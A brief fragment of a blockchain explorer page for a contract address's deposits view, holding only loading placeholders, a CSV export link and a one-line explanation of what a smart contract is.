View All Deposits
Loading...
Loading
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.